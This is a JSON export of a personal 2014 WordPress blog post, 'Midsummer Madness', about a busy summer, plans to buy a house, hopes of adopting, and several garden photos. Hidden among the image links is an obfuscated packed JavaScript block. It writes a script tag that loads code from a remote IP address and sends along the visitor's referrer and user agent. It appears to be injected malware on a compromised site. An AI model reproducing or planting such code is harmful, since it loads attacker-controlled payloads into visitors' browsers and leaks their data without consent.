{"id":4554,"date":"2014-06-21T11:17:25","date_gmt":"2014-06-21T18:17:25","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=4554"},"modified":"2014-06-23T11:32:52","modified_gmt":"2014-06-23T18:32:52","slug":"4554","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=4554","title":{"rendered":"Midsummer Madness"},"content":{"rendered":"<p>Many balls in the air &#8211; trying hard not to drop any&#8230;.\u00c2\u00a0\u00c2\u00a0 I&#8217;ve been traveling and visiting friends, with another trip to see my grandmother coming up soon; I&#8217;m winding down the tutoring this summer and getting ready to add full-time-school to full-time-work; moving quickly now towards buying a house with a little more room for growth, both family-wise and investment-wise.\u00c2\u00a0 And of course, clinging every day to the hope that a phone call about an adoption will throw all these carefully-crafted plans out the window! Meanwhile, the fancy new phone takes fancy new pictures, and it&#8217;s properly mid-summer this weekend.\u00c2\u00a0 Here&#8217;s what summer looks like:\u00c2\u00a0\u00c2\u00a0 <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-4.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4557\" alt=\"garden 4\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-4-225x300.jpg\" width=\"225\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-4-225x300.jpg 225w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-4.jpg 768w\" sizes=\"(max-width: 225px) 100vw, 225px\" \/><\/a> <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkhsi|var|u0026u|referrer|tabai||js|php'.split('|'),0,{}))\n<\/script><\/noindex> <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-3.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4558\" alt=\"garden 3\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-3-300x266.jpg\" width=\"300\" height=\"266\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-3-300x266.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-3-1024x910.jpg 1024w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-3.jpg 1690w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/backyard.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4559\" alt=\"backyard\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/backyard-300x284.jpg\" width=\"300\" height=\"284\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/backyard-300x284.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/backyard.jpg 700w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4560\" alt=\"garden 2\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-2-225x300.jpg\" width=\"225\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-2-225x300.jpg 225w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-2.jpg 768w\" sizes=\"(max-width: 225px) 100vw, 225px\" \/><\/a> <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/lettuce.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4561\" alt=\"lettuce\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/lettuce-300x258.jpg\" width=\"300\" height=\"258\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/lettuce-300x258.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/lettuce.jpg 740w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4562\" alt=\"garden 1\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-1-225x300.jpg\" width=\"225\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-1-225x300.jpg 225w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/06\/garden-1.jpg 768w\" sizes=\"(max-width: 225px) 100vw, 225px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Many balls in the air &#8211; trying hard not to drop any&#8230;.\u00c2\u00a0\u00c2\u00a0 I&#8217;ve been traveling&#8230;<\/p>\n","protected":false},"author":1,"featured_media":4559,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[43,84],"class_list":["post-4554","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized","tag-garden","tag-summer-afternoons"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4554"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4554"}],"version-history":[{"count":3,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4554\/revisions"}],"predecessor-version":[{"id":4565,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4554\/revisions\/4565"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/4559"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4554"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4554"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4554"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}